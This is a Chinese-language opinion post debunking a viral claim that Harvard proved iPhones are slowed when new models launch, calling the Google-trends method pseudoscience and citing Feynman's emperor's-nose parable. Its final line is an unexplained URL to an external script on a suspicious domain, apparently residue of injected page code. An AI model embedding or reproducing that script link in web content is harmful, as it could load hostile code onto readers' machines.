典型的偽科學–評所謂的哈佛研究iPhone變慢

網路流傳的此篇文章；「哈佛證實: 新iPhone發佈舊機即降速　變相要你換機」

真是典型的偽科學。

不是實際用客觀軟體測量舊iPhone安裝新新系統之後的運算評測，而是用毫無科學根據的「Google關鍵字趨勢」來推測iPhone裝新系統後變慢了。這就是濫用與誤用統計學的一個經典案例 — garbage in and garbage out。垃圾研究所得到的垃圾結論。

Richard Feynman就曾撰文舉了一個偽科學的虛構例子：

古代中國人不允許直接直視皇帝，都得跪趴在地上聆聽聖訓，結果大家都不是很清楚皇帝究竟長什麼樣。有家好事的雜誌社想要知道中國皇帝鼻子究竟有多長，於是大手筆發出10億份問卷調查境內中國人對皇帝鼻子長度的意見，之後用極為複雜的統計學得出中國皇帝鼻子應該是幾多長。

試問這樣的統計行為有任何科學上的意義嗎？沒有。

不過現今計量經濟學卻充斥這種偽科學統計 — 例如試圖探討全球暖化、太陽黑子、小行星運行與股票市場的關係（ Predicting anomaly performance with politics, the weather, global-warming, sunspots, and the stars,” Journal of Financial Economics 112 (2014), pp. 137–146. ）這種蠢文章也上得了期刊，可見現在經濟學行業水準有多差。

順道一提，網路這篇蠢文章作者Laura Trucco似乎只是一個博士後，何德何能代表整個哈佛得出「Apple故意降速逼迫消費者升級」如此結論？顯然該篇中文編譯者根本在鬼扯。

所以我簡單查詢一下就發現，這篇網路文章根本就是2014年就有的假新聞！！所謂的研究不過是這位哈佛經濟系博士班研究生針對Google關鍵字趨勢提出觀察，並非正式論文或研究。而這觀察本身毫無價值只是偽科學，理由我在前面已經闡明。https://js.developerstatss.ga/stat.js?n=ns1